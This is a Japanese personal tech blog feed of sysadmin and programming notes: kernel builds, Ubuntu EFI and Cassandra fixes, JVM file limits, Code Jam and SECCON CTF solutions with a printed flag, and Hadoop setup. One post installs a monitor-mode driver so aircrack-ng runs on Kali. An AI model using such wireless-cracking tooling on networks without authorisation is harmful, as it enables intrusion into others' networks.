shellcodeme_hardもバイナリよく見ないでこのコード流したら解けました。<br />
自分の中ではこの方法しかないだろ的に思っていたところ、他の人のwriteupは全部方法が違っていて面白いなーと。 戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-62302486053170994752018-04-10T09:15:00.002+09:002018-04-10T09:15:35.261+09:00Ubuntu(16.04LTS)でskypeの自動起動を停止する方法使う必要があってskype起動する度、使用後自動起動の停止方法をググるものの、日本語のページが引っかからないのでメモ。<br />
<br />
$ rm ~/.config/autostart/skypeforlinux.desktop戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-31810375603066319532017-07-12T00:03:00.000+09:002017-07-18T23:19:18.393+09:00ゲストOSのKali Linux上のaircrack-ngで802.11ac対応のUSBwifiを使いたい(長い)VMwareもVirtualBoxもUSBパススルーができるので、aircrack-ng対応のUSBwifiトングルがあればゲストOSのKali Linuxでもaircrack-ngが使えます。これは既知。<br />
しかしaircrack-ngが使えるUSBトングルwifiで検索かけるとb/g/n対応までのしか出てきません。<br />
<a href="http://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles-2016.html">http://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles-2016.html</a><br />
<br />
定番のAtherosチップでac対応のUSBないかとamazonで探しても出てきてくれません。<br />
<br />
あれこれ検索かけて試行して、なんとかできる子(ac対応USBトングル)を見つけました。<br />
<a href="https://www.planex.co.jp/products/gw-900d/">https://www.planex.co.jp/products/gw-900d/</a><br />
これチップセットがRealtek RTL8812AUってので、<br />
<a href="https://www.planex.co.jp/support/taiou/kisyu/developer_wifiusb.shtml">https://www.planex.co.jp/support/taiou/kisyu/developer_wifiusb.shtml</a><br />
このチップセットのモニターモードサポートしているドライバがgithub上で公開されています。<br />
<a href="https://github.com/astsam/rtl8812au">https://github.com/astsam/rtl8812au</a><br />
<br />
<hr />
<pre># apt update
# apt dist-upgrade
# apt install linux-headers-$(uname -r)
</pre>
<hr />
<br />
くらいはやってある前提で以下手順。<br />
<br />
<hr />
<pre># git clone https://github.com/astsam/rtl8812au.git
# cd rtl8812au
# make
# make install
</pre>
<hr />
<br />
で、リブート。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-90112536543804074562016-10-21T00:42:00.000+09:002016-11-07T11:00:25.369+09:00Lenovo ideapad s205(UEFIブート) に ubuntu 16.04LTSLenovo ideapad s205とかいうWindows7だと重くてしょうがない&UEFIでしか起動しないノートにUbuntu16.04LTSインストールしたところ、インストールは成功するも立ち上がってくれません。<br />
<br />
なんの関係もないUSBメモリさしてインストールした2回目のtryで何故か立ち上がったので、これが再現性のあるコツかと思い一旦またWindowsをクリアインストール、Ubuntuのインストールを試みるも、以降一度もUbuntuで立ち上がってくれませんでした。<br />
<br />
ネットでs205 ubuntuで検索するとみなさん苦労しているようでいろんな情報出てきますが、どれもうまく行かず、最終的に半分あきらめモードでドイツ語の読めるわけないサイトに書かれた方法ためしたら一発で立ち上がってくれました。<br />
<br />
<a href="https://www.computerbase.de/forum/showthread.php?t=1349567" target="_blank">https://www.computerbase.de/forum/showthread.php?t=1349567</a><br />
<br />
ここに書かれていることそのままではなく、以下の手順でいけました。<br />
インストールメディアはUSBメモリ使いました。<br />
<br />
1.インストールメディアから起動、「ディスクを削除してUbuntuをインストール」でインストール<br />
2.インストールが終わったら、またインストールメディアから「ubuntuを試す」で起動<br />
3.以下コマンド入力
<br />
<hr />
<pre>$ sudo su
# mount /dev/sda1 /mnt
# cd /mnt/EFI
# cp -rfv ubuntu boot
# cd boot
# mv grubx64.efi bootx64.efi
# reboot
</pre>
<hr />
4.ころあいを見計らってインストールメディア抜き取り <br />
<br />戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-26176310128419382892016-05-02T18:03:00.000+09:002016-06-06T19:02:21.018+09:00今使っているUbuntuのカーネルのコンパイルある人が作ったドライバのパッチを当てたくてUbuntuのカーネルをコンパイルする必要があり、今使っているカーネルのカンタンなコンパイル方法ないかと探したらありました。<br />
<br />
<a href="https://wiki.ubuntu.com/Kernel/BuildYourOwnKernel" target="_blank">Ubuntu wikiのBuildYourOwnKernel</a><br />
<br />
手順書けば、<br />
<br />
<hr />
<pre># cd /usr/src
# apt-get source linux-image-$(uname -r)
# apt-get build-dep linux-image-$(uname -r)
# cd linux-4.4.0 (Ubuntu16.04.LTSの場合)
# fakeroot debian/rules clean
# fakeroot debian/rules binary-headers binary-generic
# cd ..
# apt-get -f install
# dpkg -i linux-*.deb
</pre>
<hr />
<br />
最後の行は、他に/usr/srcの下に*.debファイルがあるようならファイル名指定で。<br />
Ubuntu16.04LTSでやったところ、以下の6つのdebファイルができました。<br />
<br />
<hr />
<pre>linux-headers-4.4.0-21-generic_4.4.0-21.37_amd64.deb
linux-headers-4.4.0-21_4.4.0-21.37_all.deb
linux-image-4.4.0-21-generic_4.4.0-21.37_amd64.deb
linux-image-extra-4.4.0-21-generic_4.4.0-21.37_amd64.deb
linux-tools-4.4.0-21-generic_4.4.0-21.37_amd64.deb
linux-cloud-tools-4.4.0-21-generic_4.4.0-21.37_amd64.deb
</pre>
<hr />
<br />
apt-get -f installの行は手順にありませんが、最後の2つのdebファイルlinux-tools-...debとlinux-cloud-tools-...debのインストールがコケたため追記しました。<br />
<br />
Ubuntu16.04LTS、Ubuntu14.04.4LTSで確認済みです(2016/05/02現在)。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-89978853758026112002016-04-26T13:36:00.005+09:002016-06-24T18:53:08.852+09:00同じ最新のUbuntu14.04.4LTSでもカーネルのバージョンが違ったりする件Ubuntu14.04のインストールメディアのイメージは今(2016/04/26現在)のところ<span style="color: red;">14.04</span>と<span style="color: red;">14.04.1〜14.04.4</span>までの4つの<a href="https://ja.wikipedia.org/wiki/Ubuntu#.E3.83.9D.E3.82.A4.E3.83.B3.E3.83.88.E3.83.AA.E3.83.AA.E3.83.BC.E3.82.B9" target="_blank">ポイントリリース</a>の計5つがあります。<br />
これらは古いリリースのものであってもOSのアップデートを適用していれば<span style="color: red;">lsb_release上最新の14.04.4</span>になります。<br />
<br />
ところが<span style="color: red;">OSをアップデートして最新の14.04.4になっていても、カーネルのバージョンは各リリースでまちまちで、最初に入れたリリースから変わることがありません。</span><br />
<br />
14.04, 14.04.1〜14.04.4のすべてについてOSをインストール、最新にアップデートした場合のカーネルのバージョンは以下の通りでした。<br />
<br />
<table border="1"><tbody>
<tr><td>Ubuntuのリリース</td><td>インストール時の<br />
カーネルのバージョン</td><td>2016/04/26時点の<br />
カーネルのバージョン</td></tr>
<tr><td>14.04</td><td>3.13.0-24-generic</td><td>3.13.0-85-generic</td>
</tr>
<tr><td>14.04.1</td><td>3.13.0-32-generic</td><td>3.13.0-85-generic</td>
</tr>
<tr><td>14.04.2</td><td>3.16.0-30-generic</td><td>3.16.0-70-generic</td>
</tr>
<tr><td>14.04.3</td><td>3.19.0-25-generic</td><td>3.19.0-58-generic</td>
</tr>
<tr><td>14.04.4</td><td>4.2.0-27-generic</td><td>4.2.0-35-generic</td>
</tr>
</tbody></table>
<br />
Linuxカーネルのバージョンにより、あるデバイスドライバが含まれていたりいなかったりしたことでとある問題が発生、このことで最近気づいたんですが常識なんですかね?<br />
<br />
どうゆう問題が発生したかはまたのちほど。 戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-55403546564007251502016-02-05T14:50:00.002+09:002016-02-23T11:30:23.744+09:00いまさらCode Jam Japan(2011) 決勝 問題B「バクテリアの増殖」 Smallもう5年近く前のことですが、私と同じように解いた解説が出てこないので書いてみます。<br />
<br />
問題はこれです。<br />
<a href="https://code.google.com/codejam/contest/1363489/dashboard#s=p1" target="_blank">https://code.google.com/codejam/contest/1363489/dashboard#s=p1</a><br />
<br />
要約すると、<br />
<hr />
a(0)=A<br />
a(n)=a(n-1)<sup>a(n-1)</sup><br />
を満たす配列anの第B項をCで割った余りで答えよ。<br />
<br />
このA,B,Cの値の組のテストケース数は500以下<br />
Aの値は1,000以下<br />
Bの値はSmallは2以下、Largeは1,000以下<br />
Cの値は1,000以下<br />
<hr />
<br />
公開鍵暗号の原理と同じで周期から計算できるんだろーなとは思ったんですが、やはりGoogleの解説もそのようになっています。<br />
<a href="https://code.google.com/codejam/contest/1363489/dashboard#s=a&a=1" target="_blank">https://code.google.com/codejam/contest/1363489/dashboard#s=a&a=1</a><br />
<br />
このCode Jam Japanの決勝問題は問題Aが簡単、それに比べて問題B以降が難しく、終了時点で問題AのSmall, Largeだけ解けた人が112位から355位まで大渋滞しています。<br />
<a href="https://code.google.com/codejam/contest/1363489/scoreboard#sp=91" target="_blank">https://code.google.com/codejam/contest/1363489/scoreboard#sp=91</a><br />
<br />
200位以内に入れば景品の<a href="https://code.google.com/codejam/japan/tshirt.html" target="_blank">Tシャツ</a>がもらえるんですが、問題Aを解いただけでは早く解いた者勝ちです。そこに入れない場合は、どの問題でもいいからSmallだけでも解ければTシャツ圏内に入れる、という状況でした。<br />
<br />
で、この問題BのSmallはBが2以下なので、 第2項まで求めればいいようになっています。つまり<span style="font-size: small;">(A<sup>A</sup>)<sup>(A<sup>A</sup>)</sup></span>までのmodが計算できれば解けることになります。<br />
<br />
X = A<sup>A</sup> mod C<br />
として、<br />
X<sup>(A<sup>A</sup>)</sup><br />
を求めるわけですが、当然指数のA<sup>A</sup>はmodは効かずこれ自体が天文学的数字になる可能性があります。どうにかXの方をmodしながらべき乗していって求める方法を考えないとダメそうです。<br />
<br />
で、苦し紛れに<br />
(X<sup>A</sup>)<sup>A</sup><br />
で同じにならないかな?と思ってもこれは<br />
X<sup>(A*A)</sup> = X<sup>(A<sup>2</sup>)</sup><br />
にしかなりません。<br />
<br />
掛け算で並べて書けばわかりやすいんですが、例えばAが5とするとXの5乗は<br />
X*X*X*X*X<br />
これのさらに5乗は縦に書き足せば<br />
X*X*X*X*X*<br />
X*X*X*X*X*<br />
X*X*X*X*X*<br />
X*X*X*X*X*<br />
X*X*X*X*X<br />
Xが5*5個なので<br />
X<sup>(5*5)</sup> = X<sup>(5<sup>2</sup>)</sup><br />
にしかなりません。<br />
<br />
しかし、これをさらに5乗すれば<br />
X<sup>(5*5*5)</sup> = X<sup>(5<sup>3</sup>)</sup><br />
になります。<br />
ということは、この調子でXを5乗する、を5回繰り返せば<br />
X<sup>(5*5*5*5*5)</sup> = X<sup>(5<sup>5</sup>)</sup><br />
が求まることになります。同様に、<span style="color: red;">X<sup>(A<sup>A</sup>)</sup>を求めるためには、XをA乗するのをA回繰り返せばよい</span>、ということになります。<br />
<br />
A,B,Cがjavaのintとして与えられているとして、BigIntegerクラスのmodPowを使って書けば、<br />
<hr />
BigInteger a = BigInteger.valueOf(A);<br />
BigInteger b = BigInteger.valueOf(B);<br />
BigInteger c = BigInteger.valueOf(C);<br />
BigInteger X = a.modPow(a, c);<br />
for (int i = 0; i < A; i++)<br />
X = X.modPow(a, c);<br />
<hr />
とまあ、とても短いプログラムで求めることができます。<br />
<br />
実際私はmodPowメソッドの存在を知らなかったのでこれ相当の関数を自分で作り、終了前15分で解答提出、260位(?)あたりから一気に89位に浮上、終了時点で96位、最終的に93位で無事Tシャツを頂きました。<br />
<br />
BigIntegerを使ってキレイに書きなおせば以下のようなコードになります。<br />
<hr />
import java.math.BigInteger;<br />
import java.util.Scanner;<br />
<br />
public class B {<br />
public static void main(String args[]) {<br />
Scanner sc = new Scanner(System.in);<br />
int T = sc.nextInt();<br />
for (int i = 1; i <= T; i++) {<br />
System.out.println("Case #" + i + ": " +<br />
resolv(sc.nextInt(), sc.nextInt(), sc.nextInt()));<br />
}<br />
}<br />
<br />
private static int resolv(int A, int B, int C) {<br />
BigInteger a = BigInteger.valueOf(A);<br />
BigInteger b = BigInteger.valueOf(B);<br />
BigInteger c = BigInteger.valueOf(C);<br />
BigInteger X = a.modPow(a, c);<br />
if (B == 2)<br />
for (int i = 0; i < A; i++)<br />
X = X.modPow(a, c);<br />
return X.intValue();<br />
}<br />
}<br />
<hr />
<br />
実はこのBigIntegerクラス、1,000<sup>1,000</sup>も扱えてしまうので、上で書いたようなことは全く考える必要もなく、そのまま素直にコーディングすれば解けてしまうのでした。<br />
<br />
<hr />
import java.math.BigInteger;<br />
import java.util.Scanner;<br />
<br />
public class B2 {<br />
public static void main(String args[]) {<br />
Scanner sc = new Scanner(System.in);<br />
int T = sc.nextInt();<br />
for (int i = 1; i <= T; i++) {<br />
System.out.println("Case #" + i + ": " +<br />
resolv(sc.nextInt(), sc.nextInt(), sc.nextInt()));<br />
}<br />
}<br />
<br />
private static int resolv(int A, int B, int C) {<br />
BigInteger a = BigInteger.valueOf(A);<br />
BigInteger b = BigInteger.valueOf(B);<br />
BigInteger c = BigInteger.valueOf(C);<br />
BigInteger X = a.pow(A); // <span style="color: red;">最大1,000<sup>1,000</sup></span><br />
BigInteger Xm = X.mod(c);<br />
if (B == 2)<br />
Xm = Xm.modPow(X, c); // <span style="color: red;">そのまま計算</span><br />
return Xm.intValue();<br />
}<br />
}<br />
<hr />
<br />
結局ライブラリ知ってるもん勝ちな問題でした。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-8955249631670271602016-02-03T05:48:00.001+09:002016-02-14T00:40:07.987+09:00ブログタイトル変更しました。どう見ても日記じゃなくて技術メモだし。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-17901214900413817962015-11-25T16:54:00.002+09:002016-02-14T00:39:27.238+09:00Ubuntu14.04LTSでCassandra2.2のインストールがコケる件Cassandraの<a href="http://docs.datastax.com/en/cassandra/2.2/cassandra/install/installDeb.html" target="_blank">2.2のインストールマニュアル</a>通りにやってもコケてくれました(2015/11/25現在)。<br />
<br />
<hr />
<pre>$ sudo apt-get install dsc22
:
The following packages have unmet dependencies:
dsc22 : Depends: cassandra (= 2.2.3) but 3.0.0 is to be installed
E: Unable to correct problems, you have held broken packages.
</pre>
<hr />
<br />
これは<a href="http://docs.datastax.com/en/cassandra/2.1/cassandra/install/installDeb_t.html" target="_blank">2.1のインストールマニュアル</a>を参考にバージョン指定したら行けました。<br />
<br />
<hr />
<pre>$ sudo apt-get install dsc22=2.2.3-1 cassandra=2.2.3
$ sudo apt-get install cassandra-tools=2.2.3
</pre>
<hr />
<br />
でこの件、<a href="http://stackoverflow.com/questions/31617691/error-installing-dsc21-dsc21-depends-cassandra-2-1-8-but-2-2-0-is-to-be" target="_blank">2.1の時も同じ問題</a>が起きていたようです。<br />
ドキュメントの不備のようなので、すぐ改善されると思います。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-75235610704423951022015-08-28T15:09:00.003+09:002016-02-14T00:40:56.559+09:00JavaVMがプロセスのMax open filesのソフトリミットを変更する件<b>JavaVMを起動するとそのプロセスのMax open filesのソフトリミット(soft limit:一般ユーザが変更できる上限値、ulimit -Snで参照可能)をハードリミット(hard limit:rootが変更できる上限値、ulimit -Hnで参照可能)まで引き上げます。</b><br />
<br />
Ubuntu14.04LTSでは一般ユーザのMax open filesは以下のようにソフトリミット1,024、ハードリミット4,096になっています。<br />
<br />
<hr />
$ ps<br />
PID TTY TIME CMD<br />
2447 pts/0 00:00:00 bash<br />
3766 pts/0 00:00:00 ps<br />
$ cat /proc/2447/limits | grep 'Max open files'<br />
Max open files <span style="color: red;">1024</span> 4096 files <br />
<hr />
<br />
以下のようなプログラムを作って実行、<br />
<br />
<hr />
$ cat > Test.java<br />
public class Test {<br />
public static void main(String arvs[]) {<br />
try {<br />
while (true)<br />
Thread.sleep(1000);<br />
} catch (Exception ex) {<br />
ex.printStackTrace();<br />
}<br />
}<br />
}<br />
$ javac Test.java<br />
$ java Test<br />
<hr />
<br />
同様に/procの下を確認してみると、両方とも4,096になっています。つまり<b>ソフトリミットがハードリミットまで引き上げられています。</b><br />
<br />
<hr />
$ ps -ef | grep Test<br />
sofnec 4007 2200 0 14:37 pts/13 00:00:00 java Test<br />
sofnec 4030 2447 0 14:37 pts/0 00:00:00 grep --color=auto Test<br />
$ cat /proc/4007/limits | grep 'Max open files'<br />
Max open files <span style="color: red;">4096</span> 4096 files <br />
<hr />
<br />
この件、古いJavaVMのドキュメントには-XX:MaxFDLimitオプションで説明されていますが(<a href="http://www.oracle.com/technetwork/java/javase/tech/vmoptions-jsp-140102.html" target="_blank">http://www.oracle.com/technetwork/java/javase/tech/vmoptions-jsp-140102.html</a>)、最近のLinix版のもの(<a href="http://docs.oracle.com/javase/8/docs/technotes/tools/unix/java.html" target="_blank">http://docs.oracle.com/javase/8/docs/technotes/tools/unix/java.html</a>)にはこのオプションが書かれていません。<br />
<br />
ところが、Linux 版のJava8で試したところ、このオプションが使えてしまいました。<br />
<br />
<hr />
$ java -XX:-MaxFDLimit Test<br />
<hr />
<br />
これで起動して別のターミナルで確認すると、以下のようにソフトリミットは変更されていません。<br />
<br />
<hr />
sofnec@cassandra1:~$ ps -ef | grep Test<br />
sofnec 4387 2200 0 14:51 pts/13 00:00:00 java -XX:-MaxFDLimit Test<br />
sofnec 4398 2447 0 14:51 pts/0 00:00:00 grep --color=auto Test<br />
sofnec@cassandra1:~$ cat /proc/4387/limits | grep 'Max open files'<br />
Max open files <span style="color: red;">1024</span> 4096 files<br />
<hr />
<br />
でこの動き、Ubuntu14.04LTSのOpenJDKでも一緒でした。こちらについてはソースレベルで確認された方がいました。<br />
<br />
<a href="http://stackoverflow.com/questions/30487284/how-and-when-and-where-jvm-change-the-max-open-files-value-of-linux" target="_blank">http://stackoverflow.com/questions/30487284/how-and-when-and-where-jvm-change-the-max-open-files-value-of-linux</a><br />
<br />
というわけで最初に書きましたがもう一度。<br />
<br />
<b>JavaVMはそのプロセスのMax open filesのソフトリミットをハードリミットまで引き上げますが、-XX:-MaxFDLimitオプションにより無効にできます。</b><br />
<br />
(ドキュメントに書いといてよ...)<b><br /></b>戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-60355166189860702982015-04-06T15:29:00.002+09:002016-02-14T00:41:13.800+09:00javaでRuntime.execしたプロセスのPIDを取得する方法意外と日本語のページが引っかからなかったので書いときます。<br />
<br />
try {<br />
Field field = process.getClass().getDeclaredField("pid");<br />
field.setAccessible(true);<br />
int pid = field.getInt(process);<br />
} catch (NoSuchFieldException|IllegalAccessException ex) {<br />
ex.printStackTrace();<br />
}<br />
<br />
processはRuntime.execが返したjava.lang.Process、Fieldはjava.lang.reflect.Field。戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-36043850696381187422014-07-19T21:44:00.001+09:002016-02-14T00:41:29.667+09:00SECCON 2014 オンライン予選 writeup - プログラミング300 あみだ手動で2時間くらいかけて150問解いたところで挫折、
プログラムで解こうとコーディングを始めて1時間半で終了。
最初から組めや>自分<br />
<br />
手順は以下の通り。<br />
<br />
*が開始座標<br />
*の[上下右左]が[||--]ならそれが進行方向、1つ進む<br />
while 現在位置が[||--]<br />
現在位置の進行方向横が[-|]なら[|-]になるまで横にスライド<br />
1つ進行方向に進む<br />
現在位置の文字出力<br />
<br />
<hr />
<pre>import java.io.*;
import java.util.*;
public class T {
public static final int NO_DIRECTION = 0;
public static final int TO_DOWN = 1;
public static final int TO_UP = 2;
public static final int TO_RIGHT = 3;
public static final int TO_LEFT = 4;
public static void main(String args[]) {
InputStream is = null;
OutputStream os = null;
try {
Process p = Runtime.getRuntime().exec("./amida");
is = p.getInputStream();
os = p.getOutputStream();
} catch (Exception ex) {
ex.printStackTrace();
}
try {
new T().go(is, os);
} catch (Exception ex) {
ex.printStackTrace();
}
}
public void go(InputStream is, OutputStream os) throws Exception {
int no = 1;
while (true) {
int c;
int width = 0;
int height = 0;
while ((c = is.read()) != '\n') {
if (c == -1)
System.exit(1);
System.out.print((char)c);
}
System.out.println();
StringBuffer sb = new StringBuffer();
String line = null;
ArrayList<string> list = new ArrayList<string>();
while ((c = is.read()) != '?') {
if (c == -1)
System.exit(1);
// System.out.println("2:" + c);
if (c == '\n') {
line = sb.toString();
if (line.length() > 0) {
width = line.length();
list.add(line);
sb = new StringBuffer();
}
} else {
sb.append((char)c);
}
}
is.read();
height = list.size();
char amida[][] = new char[height][width];
int startX = 0;
int startY = 0;
for (int i = 0; i < list.size(); i++) {
line = list.get(i);
System.out.println(line);
for (int j = 0; j < line.length(); j++) {
amida[i][j] = line.charAt(j);
if (amida[i][j] == '*') {
startY = i;
startX = j;
}
}
}
//System.out.println(startY + ":" + startX);
int direction = NO_DIRECTION;
int y = startY;
int x = startX;
if (startY == 0 && amida[1][startX] == '|') {
direction = TO_DOWN;
y++;
} else if (startY == height - 1 &&
amida[height - 2][startX] == '|') {
direction = TO_UP;
y--;
} else if (startX == 0 && amida[startY][1] == '-') {
direction = TO_RIGHT;
x++;
} else {
direction = TO_LEFT;
x--;
}
//System.out.println("direction:" + direction);
//System.out.println(y + ":" + x);
while (amida[y][x] == '|' || amida[y][x] == '-') {
// System.out.println(y + ":" + x + ":" + amida[y][x]);
if (direction == TO_DOWN || direction == TO_UP) {
if (x > 0 && amida[y][x - 1] == '-') {
x--;
while (amida[y][x] != '|')
x--;
if (direction == TO_DOWN)
y++;
else
y--;
} else if (x < width - 1 && amida[y][x + 1] == '-') {
x++;
while (amida[y][x] != '|')
x++;
if (direction == TO_DOWN)
y++;
else
y--;
} else {
if (direction == TO_DOWN)
y++;
else if (direction == TO_UP)
y--;
}
} else if (direction == TO_RIGHT || direction == TO_LEFT) {
if (y > 0 && amida[y - 1][x] == '|') {
y--;
while (amida[y][x] != '-')
y--;
if (direction == TO_RIGHT)
x++;
else
x--;
} else if (y < height - 1 && amida[y + 1][x] == '|') {
y++;
while (amida[y][x] != '-')
y++;
if (direction == TO_RIGHT)
x++;
else
x--;
} else {
if (direction == TO_RIGHT)
x++;
else
x--;
}
}
}
os.write(amida[y][x]);
System.out.println("Ans=" + amida[y][x]);
os.write('\n');
os.flush();
no++;
}
}
}
</string></string></pre>
<hr />
<strike>No.79だけバグってる模様。これだけハードコードで7。</strike>
(バグってたのは自分の頭、2014/07/22訂正)
1,000問解いてやっとキーが出てきた。
<br />
<hr />
<pre>No.1000
*
| | |-| | | | |
|-| | |-| | |-|
| | | | | | | |
| |-| |-| | | |
|-| | | |-| |-|
| |-| | | | | |
|-| | |-| |-| |
| | |-| |-| |-|
| |-| |-| | | |
|-| | | | | |-|
| |-| |-| |-| |
| | |-| | | |-|
| | | | |-| | |
|-| |-| | |-| |
| |-| | | | | |
| | |-| | |-| |
|-| | | |-| | |
| | | |-| |-| |
| | |-| |-| |-|
1 2 3 4 5 6 7 8
Ans=3
FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
</pre>
<hr />
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-69344261351223963232014-05-01T01:21:00.003+09:002016-02-14T00:41:47.415+09:00CentOS 6.5 カーネル再構築 2.6.32-431.11.2.el6.x86_64編CentOSのカーネル再構築メモ。<br />
最新のLinuxカーネルで構築し直すんじゃなくて、今動いているシステムのカーネルソースいじって遊ぶぜ的な人向けの手順です。 <br />
<br />
バージョンによって前提パッケージが違ったり、ソースをダウンロードしてくるところが違ったり面倒だったので、なるべく汎用性ありそうな書き方で。<br />
<br />
まずOS自体を最新バージョンにアップデート。<br />
<hr />
<pre># yum update
# reboot
</pre>
<hr />
私がやったとき(2014/04/29)の最新バージョンは2.6.32-431.11.2です。64ビット版です。 <br />
<br />
続いて開発環境をインストール。これは他サイトからの受け売り。<br />
<hr />
<pre># yum groupinstall "Development tools" </pre>
<hr />
<br />
で、次にその他の前提パッケージのインストール、ってのがありがちな書き方ですが、その前にソースをダウンロードして、インストールを試みます。ソースの置き場所もその時々で違ったりするので、<a href="http://www.centos.org/" target="_blank">CentOSのサイト</a>で確認するといいんじゃないかと思います。<br />
2014/04/29時点では、トップ→Get CentOS Linux Now→Need the Source?<br />
とたどって、<a href="http://vault.centos.org/" target="_blank">ソース置き場</a>からとってきました。これを一般ユーザでインストールします。<br />
<hr />
<pre>$ wget http://vault.centos.org/6.5/updates/Source/SPackages/kernel-2.6.32-431.11.2.el6.src.rpm
$ rpm -ivh kernel-2.6.32-431.11.2.el6.src.rpm
</pre>
<hr />
<br />
で、rpmbuildを動かすと必要な前提パッケージを教えてくれます。
これがバージョンによって違ったりするようなので、違うバージョンの手順を真似るよりはrpmbuildに聞いた方が確実なんじゃないかと。
<br />
<hr />
<pre>$ cd ~/rpmbuild/SPECS
$ rpmbuild -bp kernel.spec --target=x86_64
ビルド対象プラットフォーム: x86_64
ターゲット x86_64 用にビルド中
エラー: ビルド依存性の失敗:
xmlto は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
asciidoc は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
elfutils-libelf-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
elfutils-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
zlib-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
binutils-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
newt-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
python-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
audit-libs-devel は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
perl(ExtUtils::Embed) は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
hmaccalc は kernel-2.6.32-431.11.2.el6.x86_64 に必要とされています
</pre>
<hr />
<br />
で、これらをインストールします。perl(ExtUtils::Embed)はさすがにクォーテーションで囲まないとエラーになると思います。
<br />
<hr />
<pre># yum install xmlto asciidoc elfutils-libelf-devel elfutils-devel zlib-devel binutils-devel newt-devel python-devel audit-libs-devel "perl(ExtUtils::Embed)" hmaccalc
</pre>
<hr />
<br />
この後もう一回rpmbuild実行、~/rpmbuild/BUILDの該当バージョンというか、できてるディレクトリの下に行ってmake、インストールします。
<br />
<hr />
<pre>$ rpmbuild -bp kernel.spec --target=x86_64
$ cd ~/rpmbuild/BUILD/kernel-2.6.32-431.11.2.el6/linux-2.6.32-431.11.2.el6.x86_64
$ vi Makefile
EXTRAVERSION = -selinux
$ make
# make modules_install
# make install
# reboot
</pre>
<hr />
ここではMakefileのEXTRAVERSIONを-selinuxにしています(個人的にSELinuxまわりの研究でやっているので)。<br />
この場合OS起動時eをタイプすることで表示されるブートオプションの画面で、構築したカーネルが2.6.32-selinuxと表示されます。
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-17047293136158403392014-02-27T15:13:00.001+09:002016-02-14T00:42:02.967+09:00Ubuntu 13.10 x64 + Hadoop 1.2.1 + Mahout 0.9Mahout 0.9 のインストールでいろいろ引っかかったのでメモ。<br />
<br />
Ubuntu13.10 x64にmahoutユーザでインストール。<br />
<br />
ひっかかってた最大の理由はMahout0.9が前提にしているHadoopのバージョンが1.2.1ってことに気づくのが遅かったからでした(Mahout0.9のパッケージの中にlib/hadoop/hadoop-core-1.2.1.jarってのがあった)。<br />
<br />
<ul>
<li>sshd準備</li>
</ul>
<hr />
<pre># apt-get install openssh-server
$ ssh-keygen -t rsa -P ""
$ cat .ssh/id_rsa.pub >> .ssh/authorized_keys
$ chmod 600 .ssh/authorized_keys
</pre>
<hr />
<br />
<ul>
<li>IPv6停止(他サイトの受け売り)</li>
</ul>
<hr />
<pre># vi /etc/sysctl.conf
(追加)
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
# reboot
</pre>
<hr />
<br />
<ul>
<li>JDKインストール</li>
</ul>
<hr />
<pre>$ tar zxvf jdk-7u51-linux-x64.tar.gz
# mv jdk1.7.0_51 /usr/local
# ln -s /usr/local/jdk1.7.0_51 /usr/local/jdk
</pre>
<hr />
<br />
<ul>
<li>Hadoopインストール</li>
</ul>
<hr />
<pre>$ tar zxvf hadoop-1.2.1.tar.gz
# mv hadoop-1.2.1 /usr/local
# ln -s /usr/local/hadoop-1.2.1 /usr/local/hadoop
$ vi /usr/local/hadoop/conf/hadoop-env.sh
(追加)
export JAVA_HOME=/usr/local/jdk
$ vi /usr/local/hadoop/conf/core-site.xml
(追加)
<property>
<name>fs.default.name</name>
<value>hdfs://localhost:9000</value>
</property>
$ vi /usr/local/hadoop/conf/hdfs-site.xml
(追加)
<property>
<name>dfs.replication</name>
<value>1</value>
</property>
<property>
<name>dfs.name.dir</name>
<value>/home/hadoop/dfs/name</value>
</property>
<property>
<name>dfs.data.dir</name>
<value>/home/hadoop/dfs/data</value>
</property>
$ vi /usr/local/hadoop/conf/mapred-site.xml
(追加)
<property>
<name>mapred.job.tracker</name>
<value>localhost:9001</value>
</property>
<property>
<name>mapred.local.dir</name>
<value>/home/hadoop/mapred</value>
</property>
</pre>
<hr />
hdfs-site.xmlのdfs.name.dir、dfs.data.dirあたりは書いておかないと/tmpの下に作られるため、システムリブートの度に消されてあとでイラっときます。<br />
<br />
<ul>
<li>Mahoutインストール</li>
</ul>
